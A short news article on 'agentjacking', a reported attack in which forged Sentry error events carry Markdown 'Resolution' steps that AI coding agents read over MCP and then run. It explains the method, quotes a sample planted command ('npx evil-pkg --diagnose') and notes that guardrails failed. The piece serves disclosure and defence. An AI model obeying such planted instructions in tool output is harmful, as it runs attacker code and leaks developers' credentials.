Research·3 min read·Tenet Security

Agentjacking: A Fake Sentry Bug Can Hijack Claude Code

A new attack called agentjacking abuses public Sentry keys and MCP to feed AI coding agents fake bug reports that trick them into running attacker code. Researchers found 2,388 exposed orgs and an 85% success rate.

AGENTJACKING A forged bug report. A hijacked coding agent. FORGED SENTRY EVENT Resolution: npx evil-pkg --diagnose public DSN · no auth needed MCP AI CODING AGENT trusts the tool output runs $ npx evil-pkg reading AWS / GitHub keys exfiltrating credentials... developer privileges BITSMINDS.COM
Share:

Security researchers have disclosed a new class of attack that turns one of an AI coding agent's most useful habits — reading your error logs and offering to fix them — into a remote-code-execution backdoor. Dubbed "agentjacking" by the Threat Labs team at Tenet Security, the technique hijacks agents such as Claude Code, Cursor and OpenAI's Codex through the error-monitoring service Sentry — without any phishing, malware, or prior access to the victim's machine.

The attack abuses a piece of infrastructure that is public by design. Sentry's DSN — the credential apps use to report crashes — is a write-only key routinely embedded in front-end JavaScript, where anyone can find it via code inspection or internet-wide scans. An attacker simply POSTs a forged error event to that endpoint. No authentication bypass is required, because submitting errors is exactly what the key is for.

The payload is the trick. The fake event carries carefully formatted Markdown — a convincing "Resolution" section with a command to run. When a developer asks their coding agent to triage Sentry issues, the agent pulls the event in through Sentry's Model Context Protocol (MCP) integration and reads the attacker's instructions as trusted remediation guidance. It then runs the supplied command — typically an npx package — with the developer's own privileges, scanning the environment for AWS keys, GitHub tokens, Kubernetes credentials and SSH sockets and beaconing them back out. As Tenet put it, "the agent's trust in MCP tool responses creates a direct pathway from injected data to code execution."

The scope is what makes it alarming. Using only passive reconnaissance, the researchers — Ron Bobrov, Barak Sternberg and Nevo Poran — identified 2,388 organizations with injectable DSNs, including 71 in the Tranco top-million and a Fortune 100 company with a roughly $250 billion parent. In controlled testing across more than 100 organizations they logged over 100 real agent executions and an 85 percent success rate. Crucially, every step in the chain is authorized, so the attack sails past EDR, firewalls, WAFs and IAM, and prompt-layer guardrails failed — agents ran the payloads even when told to ignore untrusted data.

Tenet disclosed the issue to Sentry on June 3 and went public on June 17. Sentry acknowledged it the same day but declined a root-level fix, calling the behavior "technically not defensible" at the platform layer, and instead rolled out a global content filter to block known malicious strings. Tenet has open-sourced a hardening config it calls "agent-jackstop" for Cursor and Claude Code. The deeper lesson lands well beyond Sentry: any external data an agent ingests — logs, tickets, telemetry, web pages — is now an injection surface, and "ignore untrusted instructions" is not a control you can rely on. As coding agents gain hands on the keyboard, treating their tool outputs as untrusted input is becoming a baseline requirement, not a nicety.

Comments

Share your thoughts. Be kind.

0/2000

Loading comments…

Related Articles

REUTERS DIGITAL NEWS REPORT 2026 1 in 10 adults now get their news from an AI chatbot 7% to 10% weekly use, year on year only 4% click through to the source 17% of under-35s, the most of any age BITSMINDS.COM
Research

AI Chatbots Now Deliver Weekly News to 1 in 10 Adults

RESEARCH · OPENAI JUN 17 An AI chemist cracked a stubborn drug reaction. GPT-5.4 and Molecule.one’s Maria Lab pushed a low-yielding Chan-Lam coupling much higher. 88% boronic acids improved 83% sulfonamides improved 8 / 14 validated reactions more than doubled GPT-5.4 proposed and ranked experiments; Molecule.one’s Maria Lab ran them. Human chemists steered the work and validated the result. Start to finish: about 2.5 months. BITSMINDS.COM Source: OpenAI · Molecule.one
Research

OpenAI’s “AI Chemist” Improved a Reaction Drug Makers Had Nearly Given Up On

OpenAI's LifeSciBench Puts AI Through a 750-Task Life-Science Exam — Top Model Passes Just 36%
Research

OpenAI's LifeSciBench Puts AI Through a 750-Task Life-Science Exam — Top Model Passes Just 36%